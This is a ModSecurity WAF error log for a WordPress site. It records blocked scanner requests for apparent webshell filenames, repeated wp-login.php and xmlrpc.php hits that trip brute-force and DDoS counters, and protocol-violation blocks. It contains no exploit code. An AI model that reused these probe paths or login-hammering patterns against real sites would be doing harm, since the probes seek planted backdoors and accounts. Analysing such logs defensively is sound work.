[Fri Apr 24 18:07:58.143542 2026] [:error] [pid 17808:tid 17813] [client 20.203.169.80:34947] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/atomlib.php"] [unique_id "aetA_uarbOEFI8qshvL-HwAAAEM"]
[Fri Apr 24 18:07:58.749825 2026] [:error] [pid 17720:tid 17778] [client 20.203.169.80:35081] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/atomlib.php"] [unique_id "aetA_uhlUs6BS3Ng7_VeqgAAANg"]
[Fri Apr 24 18:07:59.254120 2026] [:error] [pid 17808:tid 17822] [client 20.203.169.80:28440] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/atomlib.php"] [unique_id "aetA_-arbOEFI8qshvL-JwAAAEw"]
[Fri Apr 24 18:07:59.857288 2026] [:error] [pid 22114:tid 22126] [client 20.203.169.80:26839] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/atomlib.php"] [unique_id "aetA_4AuWGz3WlMQjofSeQAAAQk"]
[Fri Apr 24 18:08:00.413139 2026] [:error] [pid 22114:tid 22120] [client 20.203.169.80:27265] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zoper1.php"] [unique_id "aetBAIAuWGz3WlMQjofSegAAAQM"]
[Fri Apr 24 18:08:00.955209 2026] [:error] [pid 22114:tid 22117] [client 20.203.169.80:43931] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zoper1.php"] [unique_id "aetBAIAuWGz3WlMQjofSewAAAQA"]
[Fri Apr 24 18:08:01.477256 2026] [:error] [pid 17808:tid 17812] [client 20.203.169.80:35088] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zoper1.php"] [unique_id "aetBAearbOEFI8qshvL-LQAAAEI"]
[Fri Apr 24 18:08:01.983875 2026] [:error] [pid 4177:tid 4196] [client 20.203.169.80:28245] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zoper1.php"] [unique_id "aetBAX2asKnvdrSe0x6sLQAAAYs"]
[Fri Apr 24 18:08:02.522811 2026] [:error] [pid 4177:tid 4185] [client 20.203.169.80:26870] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a5.php"] [unique_id "aetBAn2asKnvdrSe0x6sMQAAAYA"]
[Fri Apr 24 18:08:03.002703 2026] [:error] [pid 4177:tid 4190] [client 20.203.169.80:35131] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a5.php"] [unique_id "aetBA32asKnvdrSe0x6sMwAAAYU"]
[Fri Apr 24 18:08:03.485218 2026] [:error] [pid 17721:tid 17783] [client 20.203.169.80:43917] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a5.php"] [unique_id "aetBA-FXXkLeyDnfk_8V8gAAAAI"]
[Fri Apr 24 18:08:03.996334 2026] [:error] [pid 4177:tid 4187] [client 20.203.169.80:26816] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a5.php"] [unique_id "aetBA32asKnvdrSe0x6sOQAAAYI"]
[Fri Apr 24 18:08:04.526381 2026] [:error] [pid 4177:tid 4202] [client 20.203.169.80:33780] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ai.php"] [unique_id "aetBBH2asKnvdrSe0x6sOgAAAZE"]
[Fri Apr 24 18:08:05.030290 2026] [:error] [pid 4177:tid 4209] [client 20.203.169.80:33750] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ai.php"] [unique_id "aetBBX2asKnvdrSe0x6sPwAAAZg"]
[Fri Apr 24 18:08:05.561192 2026] [:error] [pid 14531:tid 14556] [client 20.203.169.80:35110] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ai.php"] [unique_id "aetBBXfLU2gw-6KR-GabvgAAAVc"]
[Fri Apr 24 18:08:06.085962 2026] [:error] [pid 14531:tid 14551] [client 20.203.169.80:48462] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ai.php"] [unique_id "aetBBnfLU2gw-6KR-GabvwAAAVI"]
[Fri Apr 24 18:08:06.603454 2026] [:error] [pid 4177:tid 4201] [client 20.203.169.80:28241] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jga.php"] [unique_id "aetBBn2asKnvdrSe0x6sSAAAAZA"]
[Fri Apr 24 18:08:07.116462 2026] [:error] [pid 4177:tid 4196] [client 20.203.169.80:48488] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jga.php"] [unique_id "aetBB32asKnvdrSe0x6sSgAAAYs"]
[Fri Apr 24 18:08:07.638070 2026] [:error] [pid 17808:tid 17817] [client 20.203.169.80:33791] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jga.php"] [unique_id "aetBB-arbOEFI8qshvL-NgAAAEc"]
[Fri Apr 24 18:08:08.124252 2026] [:error] [pid 17721:tid 17796] [client 20.203.169.80:35113] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jga.php"] [unique_id "aetBCOFXXkLeyDnfk_8V9wAAAA8"]
[Fri Apr 24 19:16:02.116490 2026] [:error] [pid 17719:tid 17745] [client 103.28.36.199:34732] [client 103.28.36.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetQ8sTZ9gzEyL1BkPqYpgAAAJI"]
[Fri Apr 24 19:16:03.826268 2026] [:error] [pid 17719:tid 17735] [client 103.28.36.199:34732] [client 103.28.36.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetQ88TZ9gzEyL1BkPqYqAAAAIg"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 19:26:23.396072 2026] [:error] [pid 4177:tid 4194] [client 49.37.49.133:58850] [client 49.37.49.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.49.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aetTX32asKnvdrSe0x7dsQAAAYk"]
[Fri Apr 24 19:26:34.008329 2026] [:error] [pid 14531:tid 14533] [client 49.37.49.133:59291] [client 49.37.49.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.49.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aetTanfLU2gw-6KR-Ga0KwAAAUA"]
[Fri Apr 24 19:26:44.634349 2026] [:error] [pid 22114:tid 22134] [client 49.37.49.133:59702] [client 49.37.49.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.49.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aetTdIAuWGz3WlMQjofgCwAAARE"]
[Fri Apr 24 19:26:51.255983 2026] [:error] [pid 17720:tid 17761] [client 208.97.187.39:53776] [client 208.97.187.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.97.187.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetTe-hlUs6BS3Ng7_WExwAAAMc"]
[Fri Apr 24 19:26:53.829796 2026] [:error] [pid 17720:tid 17778] [client 208.97.187.39:53792] [client 208.97.187.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.97.187.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetTfehlUs6BS3Ng7_WEzQAAANg"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 19:26:55.647221 2026] [:error] [pid 17719:tid 17749] [client 49.37.49.133:60008] [client 49.37.49.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.49.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aetTf8TZ9gzEyL1BkPqa2wAAAJY"]
[Fri Apr 24 19:27:06.079386 2026] [:error] [pid 17721:tid 17790] [client 49.37.49.133:60301] [client 49.37.49.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.49.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aetTiuFXXkLeyDnfk_8qNwAAAAk"]
[Fri Apr 24 19:43:17.746513 2026] [:error] [pid 14531:tid 14543] [client 47.31.114.48:53308] [client 47.31.114.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.31.114.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aetXVXfLU2gw-6KR-Ga5QAAAAUo"]
[Fri Apr 24 19:43:27.614774 2026] [:error] [pid 17808:tid 17819] [client 47.31.114.48:53599] [client 47.31.114.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.31.114.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aetXX-arbOEFI8qshvIiyAAAAEk"]
[Fri Apr 24 19:43:38.370552 2026] [:error] [pid 17720:tid 17765] [client 47.31.114.48:53905] [client 47.31.114.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.31.114.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aetXauhlUs6BS3Ng7_WL7wAAAMs"]
[Fri Apr 24 19:43:49.027134 2026] [:error] [pid 17721:tid 17787] [client 47.31.114.48:54203] [client 47.31.114.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.31.114.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aetXdeFXXkLeyDnfk_8uJAAAAAY"]
[Fri Apr 24 19:44:00.180815 2026] [:error] [pid 4177:tid 4193] [client 47.31.114.48:54519] [client 47.31.114.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.31.114.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aetXgH2asKnvdrSe0x7njwAAAYg"]
[Fri Apr 24 20:11:31.402871 2026] [:error] [pid 17808:tid 17811] [client 195.234.95.45:38454] [client 195.234.95.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.234.95.45, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetd8-arbOEFI8qshvIr5wAAAEE"]
[Fri Apr 24 20:11:34.028935 2026] [:error] [pid 14531:tid 14542] [client 195.234.95.45:38458] [client 195.234.95.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.234.95.45, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetd9nfLU2gw-6KR-Ga_5QAAAUk"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 20:24:31.369177 2026] [:error] [pid 17808:tid 17822] [client 209.126.9.214:42326] [client 209.126.9.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.126.9.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetg_-arbOEFI8qshvIv9QAAAEw"]
[Fri Apr 24 20:24:39.957191 2026] [:error] [pid 4177:tid 4202] [client 209.126.9.214:39272] [client 209.126.9.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.126.9.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aethB32asKnvdrSe0x4AgAAAAZE"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 20:27:01.370328 2026] [:error] [pid 17719:tid 17744] [client 15.235.175.240:55700] [client 15.235.175.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.235.175.240, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aethlcTZ9gzEyL1BkPqmywAAAJE"]
[Fri Apr 24 20:27:05.704425 2026] [:error] [pid 17808:tid 17817] [client 15.235.175.240:57232] [client 15.235.175.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.235.175.240, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aethmearbOEFI8qshvIwrAAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 20:34:01.926739 2026] [:error] [pid 14531:tid 14549] [client 169.224.10.193:5936] [client 169.224.10.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.224.10.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aetjOXfLU2gw-6KR-GbFygAAAVA"]
[Fri Apr 24 20:44:59.052829 2026] [:error] [pid 4177:tid 4202] [client 182.44.9.147:34741] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aetly32asKnvdrSe0x4MngAAAZE"]
[Fri Apr 24 21:00:38.693070 2026] [:error] [pid 17808:tid 17813] [client 104.237.141.90:36124] [client 104.237.141.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.237.141.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetpduarbOEFI8qshvI7MgAAAEM"]
[Fri Apr 24 21:00:40.616807 2026] [:error] [pid 17808:tid 17814] [client 104.237.141.90:36124] [client 104.237.141.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.237.141.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetpeOarbOEFI8qshvI7PAAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 21:01:55.134176 2026] [:error] [pid 17808:tid 17810] [client 223.178.218.109:51020] [client 223.178.218.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 223.178.218.109, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetpw-arbOEFI8qshvI7tgAAAEA"]
[Fri Apr 24 21:01:56.845609 2026] [:error] [pid 17808:tid 17814] [client 223.178.218.109:51020] [client 223.178.218.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 223.178.218.109, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetpxOarbOEFI8qshvI7wwAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 21:12:13.706874 2026] [:error] [pid 22114:tid 22136] [client 128.127.48.222:40730] [client 128.127.48.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.127.48.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetsLYAuWGz3WlMQjofv8AAAARM"]
[Fri Apr 24 21:12:15.487136 2026] [:error] [pid 22114:tid 22123] [client 128.127.48.222:40730] [client 128.127.48.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.127.48.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetsL4AuWGz3WlMQjofv8QAAAQY"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 21:13:48.331617 2026] [:error] [pid 17720:tid 17764] [client 178.236.185.165:50668] [client 178.236.185.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.236.185.165, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetsjOhlUs6BS3Ng7_WvoQAAAMo"]
[Fri Apr 24 21:13:50.156055 2026] [:error] [pid 17720:tid 17771] [client 178.236.185.165:50668] [client 178.236.185.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.236.185.165, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetsjuhlUs6BS3Ng7_WvqQAAANE"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 21:15:13.526982 2026] [:error] [pid 17808:tid 17828] [client 65.254.225.218:34488] [client 65.254.225.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aets4earbOEFI8qshvJAywAAAFI"]
[Fri Apr 24 21:15:15.186752 2026] [:error] [pid 17808:tid 17810] [client 65.254.225.218:34488] [client 65.254.225.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aets4-arbOEFI8qshvJA0QAAAEA"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 21:26:01.416493 2026] [:error] [pid 4177:tid 4207] [client 162.62.213.187:35846] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aetvaX2asKnvdrSe0x4mVwAAAZY"]
[Fri Apr 24 21:28:20.179010 2026] [:error] [pid 4177:tid 4186] [client 69.49.112.76:46674] [client 69.49.112.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.76, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetv9H2asKnvdrSe0x4oBAAAAYE"]
[Fri Apr 24 21:28:21.889684 2026] [:error] [pid 4177:tid 4203] [client 69.49.112.76:46674] [client 69.49.112.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.76, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetv9X2asKnvdrSe0x4oBgAAAZI"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 21:31:42.158297 2026] [:error] [pid 14531:tid 14557] [client 65.254.225.224:57840] [client 65.254.225.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.224, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aetwvnfLU2gw-6KR-GbTrgAAAVg"]
